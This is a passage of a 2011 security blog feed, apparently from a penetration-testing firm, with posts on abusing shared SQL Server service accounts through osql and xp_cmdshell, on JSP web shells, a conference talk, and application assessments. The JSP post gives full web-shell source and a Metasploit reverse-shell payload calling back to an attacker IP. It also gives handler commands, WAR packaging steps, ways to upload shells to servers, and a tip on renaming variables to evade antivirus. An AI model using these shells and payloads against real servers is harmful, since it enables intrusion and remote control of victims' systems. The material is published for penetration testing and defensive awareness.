“Shared service account” is a term that describes one account that is used to run many services. The account can be a local or domain Windows account. In this case, we are referring to one account running the SQL Server service on many servers. Server administrators often use this approach because it makes managing database service accounts a whole lot easier. In enterprise environments, it can actually reduce the number of required service accounts by hundreds. However, managing accounts this way does come with some risk.</p>
<p>Configuring SQL Servers with a shared service account usually creates a trust relationship between every database server using the account. This happens because of privilege inheritance. In the OSQL command example below, the database admin is able to access a database that the account does not have privileges to. The inheritance happens as follows:</p>
<ol>
<li>The <strong>database admin (sysadmin)</strong> is able to execute a local command on SQL Server 1 with the<strong> SQL Server service account’s privileges</strong> using the OSQL utility, a “trusted connection, and the xp_cmdshell extended store procedure.<br />
<em>(SYSADMIN on Server 1 = Service Account Privileges on Server 1)</em></li>
<li>In versions of SQL server prior to 2008, the<strong> SQL Server service account</strong> is automatically placed in the<strong> local administrators group</strong>. That means the shared service account can authenticate to any SQL Server using it.<br />
<em>(Service Account Privileges on Server 1 = Administrator Privileges on Server 2)</em></li>
<li>In versions of SQL server prior to 2008, the <strong>local administrators group</strong> is assigned the <strong>sysadmin fixed server role</strong>. As a result, the shared service account has the privileges to run queries and local commands on Server 2. Through inheritance, so does the sysadmin from Server 1. <em>(Administrator Privileges on Server 2 = SYADMIN on Server 2)</em></li>
</ol>
<p><em>IMPORTANT NOTE: </em>Despite of the fact that SQL Server 2008 ships with more secure configurations, administrators often change them back to the 2005 default settings.</p>
<p>Below is my crazy privilege inheritance abstract that shows the privilege flow starting from an SQL injection attack vector. Hopefully it helps to illustrate the process.</p>
<div id="attachment_1665" class="wp-caption aligncenter" style="width: 605px"><img class="size-full wp-image-1665" title="Crazy Privilege Inheritance Abstract" src="http://www.netspi.com/blog/wp-content/uploads/2011/07/test.png" alt="Crazy Privilege Inheritance Abstract" width="595" height="350" /><p class="wp-caption-text">Crazy Privilege Inheritance Abstract</p></div>
<p>The real world attack would use a process like the one below. The database admin could first verify that their account can execute commands with the shared account’s privileges with the command below:</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;osql -E -S 192.168.100.110 -Q &#8220;xp_cmdshell &#8216;whoami&#8217;&#8221;<br />
output<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
DEMO\Shared<br />
NULL</p>
<p>(2 rows affected)</p>
<p>Next, the database admin can enumerate SQL Server targets with the command below:<br />
C:\&gt;osql -L<br />
Servers:<br />
DB1<br />
HVA<br />
LVA (192.168.100.110)</p>
</div>
<p>Then, the database admin can issue commands on the remote SQL Server targets that use the DEMO\Shared account. </p>
<p><em>IMPORTANT NOTE: </em>In this example, the database admin is using the interactive mode to issue queries to the servers.</p>
<div id="attachment_1681" class="wp-caption aligncenter" style="width: 601px"><img class="size-full wp-image-1681" title="Using Shared Service Account to Gain Unauthorized Access" src="http://www.netspi.com/blog/wp-content/uploads/2011/07/test2.png" alt="Using Shared Service Account to Gain Unauthorized Access" width="591" height="388" /><p class="wp-caption-text">Using Shared Service Account to Gain Unauthorized Access</p></div>
<p><strong>Batch Attacks</strong><br />
Let’s automate some of this. We can use simple Windows batch scripts and our OSQL tool to run queries across the accessible databases on the broadcast network. Below is a simple command-line example that will write the hostname and SQL Server version to “accessible_servers.txt” for each server that the database administrator has access to.</p>
<div style="background: #e6e6e6; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="color: #003366;">C:\FOR /F %i in (&#8216;osql –L&#8217;) do osql –E –S %i –Q &#8220;</span><span style="color: blue; mso-no-proof: yes;">select</span><span style="color: fuchsia; mso-no-proof: yes;">rtrim</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: fuchsia; mso-no-proof: yes;">CONVERT</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: blue; mso-no-proof: yes;">char</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="mso-no-proof: yes;"><span style="color: #003366;">50</span></span><span style="color: gray; mso-no-proof: yes;">),</span><span style="color: fuchsia; mso-no-proof: yes;">SERVERPROPERTY</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: red; mso-no-proof: yes;">&#8216;servername&#8217;</span><span style="color: gray; mso-no-proof: yes;">)))</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: red; mso-no-proof: yes;">&#8216; (&#8216;</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: fuchsia; mso-no-proof: yes;">rtrim</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: fuchsia; mso-no-proof: yes;">CONVERT</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: blue; mso-no-proof: yes;">char</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="mso-no-proof: yes;"><span style="color: #003366;">20</span></span><span style="color: gray; mso-no-proof: yes;">),</span><span style="color: fuchsia; mso-no-proof: yes;">SERVERPROPERTY</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: red; mso-no-proof: yes;">&#8216;productversion&#8217;</span><span style="color: gray; mso-no-proof: yes;">)))</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: red; mso-no-proof: yes;">&#8216;)&#8217;</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: red; mso-no-proof: yes;">&#8216; &#8216;</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: fuchsia; mso-no-proof: yes;">rtrim</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: fuchsia; mso-no-proof: yes;">CONVERT</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: blue; mso-no-proof: yes;">char</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="mso-no-proof: yes;"><span style="color: #003366;">30</span></span><span style="color: gray; mso-no-proof: yes;">),</span><span style="color: fuchsia; mso-no-proof: yes;">SERVERPROPERTY</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: red; mso-no-proof: yes;">&#8216;Edition&#8217;</span><span style="color: gray; mso-no-proof: yes;">)))</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: red; mso-no-proof: yes;">&#8216; &#8216;</span><span style="color: gray; mso-no-proof: yes;">+</span><span style="color: fuchsia; mso-no-proof: yes;">rtrim</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: fuchsia; mso-no-proof: yes;">CONVERT</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: blue; mso-no-proof: yes;">char</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="mso-no-proof: yes;"><span style="color: #003366;">20</span></span><span style="color: gray; mso-no-proof: yes;">),</span><span style="color: fuchsia; mso-no-proof: yes;">SERVERPROPERTY</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="color: red; mso-no-proof: yes;">&#8216;ProductLevel&#8217;</span><span style="color: gray; mso-no-proof: yes;">)))+</span><span style="color: blue; mso-no-proof: yes;">char</span><span style="color: gray; mso-no-proof: yes;">(</span><span style="mso-no-proof: yes;"><span style="color: #003366;">10</span></span><span style="color: gray; mso-no-proof: yes;">)&#8221;</span></span></span></p>
</div>
<p>The output will look something like the text below.</p>
<p><em>IMPORTANT NOTE:</em> The login timeout errors usually indicate that the database user does not have access to the target SQL Server. It does not mean that a database service is not listening on that server.</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">[SQL Native Client]Named Pipes Provider: Could not open a connec-tion to SQL<br />
Server [53].<br />
[SQL Native Client]Login timeout expired<br />
[SQL Native Client]An error has occurred while establishing a connection to<br />
the server. When connecting to SQL Server 2005, this failure may be caused by<br />
the fact that under the default settings SQL Server does not allow remote<br />
connections.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
HVA (9.00.4053.00) Express Edition SP3<br />
(1 row affected)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
LVA (9.00.4053.00) Express Edition SP3<br />
(1 row affected)</p>
</div>
<p>We could, of course, automate queries to execute local commands, install software, and search for sensitive data on target servers, but I’ll save that for another day.</p>
<p><strong>Wrap Up</strong><br />
The main lesson here is that configuring accounts with LEAST PRIVILEGE is important. Another take away should be that most of these attacks don’t generate any alerts. So, consider creating triggers on sensitive stored procedures like xp_cmdshell to generate audit trails. If you don’t feel like creating triggers manually, policy based management can be used. Policy based management has been around since SQL Server 2008, and allows DBAs to enforce detective and preventative controls on a SQL Server. The policies can be centrally managed to enforce controls across all of the 2005 and 2008 SQL Servers in your environment. I&#8217;ve provided a link below and strongly recommend DBAs take a look if they are not already familiar.</p>
<p><strong>References</strong></p>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/bb510667.aspx">SQL Server Policy Based Management</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/aa214012%28v=sql.80%29.aspx">http://msdn.microsoft.com/en-us/library/aa214012%28v=sql.80%29.aspx</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/ms162806(SQL.90).aspx">http://msdn.microsoft.com/en-us/library/ms162806(SQL.90).aspx</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/ms162806.aspx">http://msdn.microsoft.com/en-us/library/ms162806.aspx</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking-with-the-osql-utility/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking with JSP Shells</title>
		<link>http://www.netspi.com/blog/2011/07/07/hacking-with-jsp-shells/</link>
		<comments>http://www.netspi.com/blog/2011/07/07/hacking-with-jsp-shells/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 22:57:24 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[CGI shells]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Metasploit JSP]]></category>
		<category><![CDATA[Web Application Hacking]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1443</guid>
		<description><![CDATA[Most enterprise datacenters today house at least a few web servers that support Java Server Pages (JSP).  In this blog, I’ll provide two JSP shell code examples and outline five common upload methods that can be used to get the shells onto vulnerable servers in order to execute arbitrary system commands.]]></description>
			<content:encoded><![CDATA[<p>Most enterprise datacenters today house at least a few web servers that support Java Server Pages (JSP). In my experience, at least one will suffer from vulnerabilities that can be leveraged to upload JSP shells and execute arbitrary commands on the server (this especially seems to be the case with preconfigured appliances). In this blog, I’ll provide two JSP shell code examples and outline five common upload methods that can be used to get the shells onto vulnerable servers in order to execute arbitrary system commands. </br></br></br></p>
<h3>JSP Shell Options</h3>
<p>For those of you who are not as familiar &#8211; when I use the term “JSP shell” I’m referring to a “Java Server Page” that accepts arbitrary commands for execution on the hosting web server. Examples of servers that support such technology include jBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat (just to name a few). Traditional JSP shells use a HTML form to accept commands, but in more recent years JSP shells have been modified to initiate Metasploit sessions. Below, I’ve provided a code example and basic instructions for each scenario. Personally, I recommend using Metasploit JSP shells, because they have proven to be pretty stable and offer a cleaner interface. On Windows systems, the basic Metasploit shell can also be upgraded to a meterpreter shell that has tools for information gathering and escalation built-in.</p>
<h3>Basic JSP shell</h3>
<p>This is one of the most basic JSP shell code examples available. Basic use instructions are below.</p>
<ol>
<li>Save the source code below as cmd.jsp and upload to the victim server.</li>
<li>Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.</li>
</ol>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
&lt;%@ page<br />
import=&#8221;java.util.*,java.io.*&#8221;%&gt;<br />
&lt;%<br />
%&gt;<br />
&lt;HTML&gt;<br />
&lt;BODY&gt;<br />
&lt;H3&gt;JSP SHELL&lt;/H3&gt;<br />
&lt;FORM METHOD=&#8221;GET&#8221; NAME=&#8221;myform&#8221;<br />
ACTION=&#8221;"&gt;<br />
&lt;INPUT TYPE=&#8221;text&#8221; NAME=&#8221;cmd&#8221;&gt;<br />
&lt;INPUT TYPE=&#8221;submit&#8221; VALUE=&#8221;Execute&#8221;&gt;<br />
&lt;/FORM&gt;<br />
&lt;PRE&gt;<br />
&lt;%<br />
if (request.getParameter(&#8220;cmd&#8221;) != null) {<br />
out.println(&#8220;Command: &#8221; +<br />
request.getParameter(&#8220;cmd&#8221;) + &#8220;&lt;BR&gt;&#8221;);<br />
Process p =<br />
Runtime.getRuntime().exec(request.getParameter(&#8220;cmd&#8221;));<br />
OutputStream os = p.getOutputStream();<br />
InputStream in = p.getInputStream();<br />
DataInputStream dis = new DataInputStream(in);<br />
String disr = dis.readLine();<br />
while ( disr != null ) {<br />
out.println(disr);<br />
disr = dis.readLine();<br />
}<br />
}<br />
%&gt;<br />
&lt;/PRE&gt;<br />
&lt;/BODY&gt;<br />
&lt;/HTML&gt;
 </div>
<h3>Metasploit JSP Shell </h3>
<p>Using the Metasploit JSP shell in an attack requires approximately six steps.  </p>
<ol>
<li>Generate the cmd.jsp shell with msfpayload</li>
<li>Upload the cmd.jsp file to the server</li>
<li>Run a Metasploit multi-handler on the local system</li>
<li>Visit the cmd.jsp page in a web browser</li>
<li>Obtain shell</li>
<li>If Windows, upgrade to meterpreter shell</li>
</ol>
<p>Before generating the JSP shell, make sure that Ruby and the Metasploit Framework are installed. Then follow the detailed instructions below.  To generate a JSP shell on a windows system use the command below.  PLEASE NOTE: In the example below, the LHOST variable should be set to your IP address.</p>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp
</div>
<p>After the command is executed, Metasploit should output source code to the file cmd.jsp that looks something like the example below.  In some cases, you may need to modify variable names to get around malware detection software.</p>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
&lt;%@page import=&#8221;java.lang.*&#8221;%&gt;<br />
&lt;%@page import=&#8221;java.util.*&#8221;%&gt;<br />
&lt;%@page import=&#8221;java.io.*&#8221;%&gt;<br />
&lt;%@page import=&#8221;java.net.*&#8221;%&gt;<br />
<o:p>&nbsp;</o:p><br />
&lt;%<br />
class StreamConnector extends Thread<br />
{<br />
InputStream is;<br />
OutputStream os;<br />
<o:p>&nbsp;</o:p><br />
StreamConnector( InputStream is, OutputStream os )<br />
{<br />
this.is = is;<br />
this.os = os;<br />
}<br />
<o:p>&nbsp;</o:p><br />
public void run()<br />
{<br />
BufferedReader in = null;<br />
BufferedWriter out = null;<br />
try<br />
{<br />
in = new BufferedReader( new InputStreamReader( this.is ) );<br />
out = new BufferedWriter( new OutputStreamWriter( this.os ) );<br />
char buffer[] = new char[8192];<br />
int length;<br />
while( ( length = in.read( buffer, 0, buffer.length ) ) &gt; 0 )<br />
{<br />
out.write( buffer, 0, length );<br />
out.flush();<br />
}<br />
}<br />
catch( Exception e ){}<br />
try<br />
{<br />
if( in != null )<br />
in.close();<br />
if( out != null )<br />
out.close();<br />
}<br />
catch( Exception e ){}<br />
}<br />
}<br />
<o:p>&nbsp;</o:p><br />
try<br />
{<br />
Socket<br />
socket = new Socket( &#8220;192.168.100.110&#8243;, 53 );<br />
Process process = Runtime.getRuntime().exec( &#8220;cmd.exe&#8221; );<br />
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();<br />
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();<br />
}<br />
catch( Exception e ) {}<br />
%&gt;
</div>
<p>Next, upload the cmd.jsp file to the target server.  For the sake of this discussion, let’s assume the file uploads to http://www.victim.com/cmd.jsp.  Then, start the Metasploit multi handler.  Open an msfconsole and type the following commands to start a multi handler in the background.  </br><br />
PLEASE NOTE: The LHOST and LPORT variables should be configured relative to your system; the SHELL variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local firewall should be configured to allow traffic on port 53.  </p>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
use exploit/multi/handler<br />
setg LHOST 192.168.100.110<br />
setg LPORT 53<br />
setg PAYLOAD java/jsp_shell_reverse_tcp<br />
setg SHELL cmd.exe<br />
exploit –j -z
</div>
<p>Finally, visit the http://www.victim.com/cmd.jsp page that was uploaded earlier and watch your msfconsole for a new session. Once the server connects back to your system, the shell should be accessible by typing the following (if you have attempted multiple sessions, the 1 may need to be incremented to the current session number).</p>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
sessions –I 1
</div>
<p>If the target system is a Windows box the basic shell can be upgraded to a meter-preter shell with the following command:</p>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0.5in; margin-right: .5in;">
sessions –U 1
</div>
<h3>Packaging JSP Shells as WAR Files</h3>
<p>Sometimes it will be necessary to package the cmd.jsp as a WAR file so it can be published by an application server like jBoss.  Basic instructions for creating a WAR file on a Windows system are below.</p>
<ol>
<li>Install the most recent Java SDK (may require reboot)</li>
<li>Copy the cmd.jsp to the working directory</li>
<li>Make a subdirectory called WEB-INF</li>
<li>Place the content below into the file WEB-INF/web.xml</br></br>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0in; margin-right: .5in;">
&lt;?xml<br />
version=&#8221;1.0&#8243; ?&gt;<br />
&lt;web-app<br />
xmlns=&#8221;http://java.sun.com/xml/ns/j2ee&#8221;<br />
xmlns:xsi=&#8221;http://www.w3.org/2001/XMLSchema-instance&#8221;<br />
xsi:schemaLocation=&#8221;http://java.sun.com/xml/ns/j2ee<br />
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd&#8221;<br />
version=&#8221;2.4&#8243;&gt;<br />
&lt;servlet&gt;<br />
&lt;servlet-name&gt;Command&lt;/servlet-name&gt;<br />
&lt;jsp-file&gt;/cmd.jsp&lt;/jsp-file&gt;<br />
&lt;/servlet&gt;<br />
&lt;/web-app&gt;</span></span><span class="MsoHyperlink">
</div>
</li>
<li>
In Windows, pack the files into a WAR with the following command, but be aware that the path to the jar.exe will vary based on OS and java version:</br></br>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0in; margin-right: .5in;">“C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe” cvf cmd.war WEB-INF cmd.jsp
</div>
</li>
</ol>
<h3>Shell Upload Options</h3>
<ul>
<li><strong>The PUT Method</strong></br><br />
The WebDAV PUT method is a classic.  PUT is an extension of the HTTP protocol that allows users to upload files to the target web server.  For a long time we found this issue everywhere, but in the last two years or so we’ve started to see it less and less.  Any decent vulnerability scanner will turn up this issue on an affected server, but it can also be found manually using a tool like ncat.  Once a server is found with PUT available, the cmd.jsp file can be uploaded.  There are a number of tools that can be used to accomplish this but I prefer using the Burp Suite because, truth be told, I enjoy my GUI interfaces as much as the command line.  To upload a file using the PUT method and Burp follow the instructions below:</p>
<ol>
<li>Open Burp</li>
<li>Navigate to the repeater tab</li>
<li>Enter the victim’s hostname or IP, port and check the box if the server is using SSL.</li>
<li>Enter the HTTP header information into the “raw” tab.  The HTTP header needs to include the host cookie, the content-length cookie, and the path.  Don’t worry about knowing the specific content-length; Burp will calculate it when the request is sent.  The header should look something like the following:</br>
<div style="border: 1pt solid windowtext; padding: 0; background: none repeat scroll 0% 0% #e6e6e6; margin-left: 0; margin-right: .5in;">
&nbsp;&nbsp;&nbsp;PUT /path/cmd.jsp HTTP/1.1<br />
Host: <victim-ip><br />
Content-Length: 0
</div>
</li>
<li>After the HTTP header has been typed in, press enter two times and paste in the JSP shell code.  If there are not enough line breaks between the header and the body the request will not work properly.</li>
<li></li>
<p>Press the go button. If the server responds with a 201 (created) the file should be available on the server.</li>
</ol>
<li><strong>Application functionality: Upload Functionality</strong></br><br />
Many web applications support uploading files.  If there are no file type restrictions, simply upload the file and away you go.  Unfortunately for those would-be attackers, most applications do attempt to enforce some file type restrictions.  However, there are a number of technology specific vulnerabilities available to get around them.  Such vulnerabilities can usually be found using a vulnerability scanner or by manually looking up the version information for the application or sub-components.  I’ve also seen a few applications that allow files to be renamed after they are uploaded.  If this is the case, simply upload the cmd.jsp as cmd.jpg, and once it’s uploaded rename it to cmd.jsp.
</li>
<li></li>
<p><strong>Application functionality: Dynamic Page Creation Functionality</strong></br><br />
Once in a while, I come across applications that have functionality built-in that is intended to allow users to create JSP files on the fly.  If you find this type of application simply follow the application flow to create a JSP page and paste the cmd.jsp code when the application prompts for the source code.<br />
Usually, these applications require some type of authentication, but in some cases I’ve found them configured with default passwords.  Google is, of course, a great place to find default passwords, but I also recommend the relative vendor&#8217;s user/admin guides when attacking commercial and open source applications.
</li>
<li>
<strong>Publishing WAR Files</strong></br><br />
There are a number of application servers that use WAR files to publish applications.  Some of them provide a HTML form that allows users to upload a WAR file and some (like jBoss) require a link to an external source.  Josh Abraham wrote a few jBoss metasploit exploits for that purpose (one of which is called “jboss_maindeployer“).  Also, there is a great paper on the subject available at: http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf
</li>
<li>
<strong>File Shares</strong></br><br />
Occasionally, the web server’s web root directory is accessible anonymously via FTP, Windows, or NFS shares.  If that is the case, simply use a standard client to connect to the share and upload your JSP shell.<br />
If an attacker is able to upload a JSP shell to the victim server, all commands will be executed in the context of the user running the web server.  In my experience, the web server is often running as ‘root’ on *nix systems and ‘SYSTEM’ on Windows systems.  That makes upload vulnerabilities great entry points into the network.  A quick “whoami” command should help determine what user the server is currently running as.
</li>
</ul>
<h3>Conclusions</h3>
<p>There are a number of options available to attackers and penetration testers for getting JSP shells onto servers to execute commands.  These issues can pose a real threat to the overal security posture of a network.  So I encourage companies to audit for these types of vulnerabilities regularly to help prevent their servers from being used as an entry point into the network.  Also keep in mind that web shells can be created for almost all server side languages inlucuding (but not limited to) asp, aspx, cfm, php and cgi. So don’t limit yourself.  Hopefully the information in this blog has proved to be helpful.  Good hunting.<br />
</br><br />
PS: Don’t be evil.<br />
</br><br />
<strong></strong>References</strong></p>
<ul>
<li><a href="http://download.oracle.com/javase/1.4.2/docs/tooldocs/windows/jar.html">http://download.oracle.com/javase/1.4.2/docs/tooldocs/windows/jar.html</a></li>
<li><a href="http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf">http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf</a></li>
<li><a href="http://sourceforge.net/projects/nmap-ncat/">http://sourceforge.net/projects/nmap-ncat/</a></li>
<li><a href="http://www.portswigger.net">http://www.portswigger.net</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/07/07/hacking-with-jsp-shells/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Databases Attack: Secure360</title>
		<link>http://www.netspi.com/blog/2011/06/06/when-databases-attack-secure360/</link>
		<comments>http://www.netspi.com/blog/2011/06/06/when-databases-attack-secure360/#comments</comments>
		<pubDate>Tue, 07 Jun 2011 02:39:19 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[Secure360]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1428</guid>
		<description><![CDATA[We put together a revised version of our "When Databases Attack" presentation based on some feedback from the Bsides crowd. It includes some new SQL script examples that should be fun to play with. ]]></description>
			<content:encoded><![CDATA[<p>Antti and I presented our revised version of &#8220;When Databases Attack&#8221; at the <a href="http://secure360.org/">Secure360</a> conference in Minneapolis a few weeks ago. We included some new SQL script examples based on some feedback from the BSides Minneapolis crowd. Thanks everyone who provided feedback! Go BSides! Feel free to download it <a href="http://info.netspi.com/request-for-presentation-when-databases-attack/">HERE</a> if your interested. Hopefully it provides some examples that people can actually use in their environments. We are also working on a database worm that communicates with a bot controller that leverages a number of the trust relationships we cover in &#8220;When Databases Attack&#8221;. We have included a few screen shots of the front end in the new slide deck. We also submitted it as a presentation for <a href="http://www.defcon.org"></a>DEF CON 19 so wish us luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/06/06/when-databases-attack-secure360/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Business Logic Time</title>
		<link>http://www.netspi.com/blog/2011/02/15/business-logic-time/</link>
		<comments>http://www.netspi.com/blog/2011/02/15/business-logic-time/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 13:00:00 +0000</pubDate>
		<dc:creator>abacchus</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[application security assessments]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1378</guid>
		<description><![CDATA[You've noticed a sudden loss in clients, and a sharp gain in the success of one of your closest competitors; the app containing all your intellectual property and sales information was owned.]]></description>
			<content:encoded><![CDATA[<p>Why is it my credit card was disabled while I was on vacation, for me to come home to a generic letter from my bank stating that &#8220;some data loss has occurred&#8221; and that &#8220;for security reasons, a new credit card has been issued&#8221;?</p>
<p>The banking app I was using, in one way or another was probably owned, which resulted in financial loss for my bank, as well as a significantly less enjoyable vacation for yours truly. Other potential scenarios:</p>
<p>You log into your bank account, and all of your money is gone; the app used to access to your financial assets was owned.</p>
<p>You&#8217;ve noticed a sudden loss in clients, and a sharp gain in the success of one of your closest competitors; the app containing all your intellectual property and sales information was owned.</p>
<p>Your personal blog has become blacklisted by numerous antivirus software suites as an unsafe page; the app hosting your blog was owned.</p>
<p>But how, you ask? Many vendors of apps that you use every day pay top dollar for application security assessments from some of the brightest minds in the industry, so you&#8217;d expect that the security within these apps would be locked down tighter than the grease in your oven. So why is it that we continue to see (or feel) the pain of application compromises in the news and in our own lives?</p>
<p>In short, even some of the &#8220;best&#8221; in the security industry sometimes slip and fall when it comes to performing application security assessments. Assessing an application, in some ways, can be more of an art than a science.  While many apps use common frameworks and technologies, all apps are, by nature, unique. Running automated scanning tools, while useful, is simply not enough; unless the distinguishing features of each app are taken into account during testing, the assessment will not be complete.</p>
<p>In order to perform a true security assessment of an application, one must fully understand how the application is- and more importantly isn&#8217;t- supposed to work.  While many consultants may take a more blind approach in an attempt to simulate a &#8220;realistic&#8221; attack scenario, they are essentially cutting off their own hands; this would be analogous to a car mechanic trying to check your engine with the hood closed. To make the most efficient use of the consultant&#8217;s time that the app owner has paid for, it&#8217;s critical to take a white box, or open view, approach to the assessment, to ensure the consultant can understand the unique qualities of the application and focus their efforts in key areas. What key areas? Well, that&#8217;s the whole point; it depends on the application.</p>
<p>Each application assessment should begin by gathering information surrounding the application.  NetSPI then goes a step further by walking through this information and reviewing, step by step, the functionality and intended purpose of the application with a &#8220;master&#8221; user, typically a developer or application lead.  Through this master-apprentice model of learning, NetSPI is able to quickly gain knowledge of the intricacies of the application, as well as conduct an active conversation with the client to develop a test plan which focuses testing efforts on areas that would otherwise have been missed. Due to limited time and budgets, no test will run forever, so it&#8217;s critical to understand and focus testing on areas of the app that most significantly impact the underlying business processes.</p>
<p>So every day when you login to your bank account and the cash is still there, when another business day goes by without any blips, and when Uncle Frank and Aunt Marsha can still access your blog to see pictures of the kids without the old AV&#8217;s bells and whistles exploding, we can rest assured that somewhere, somehow, the app&#8217;s security has been verified through a true assessment&#8230; and if not? Well, we can at least know the bad guys haven&#8217;t cracked it yet. Or, uh, at least they haven&#8217;t targeted <em>you</em> yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/02/15/business-logic-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Vulnerability Disappearing (and Reappearing) Act</title>
		<link>http://www.netspi.com/blog/2011/02/09/the-vulnerability-disappearing-and-reappearing-act/</link>
		<comments>http://www.netspi.com/blog/2011/02/09/the-vulnerability-disappearing-and-reappearing-act/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 13:00:02 +0000</pubDate>
		<dc:creator>abacchus</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
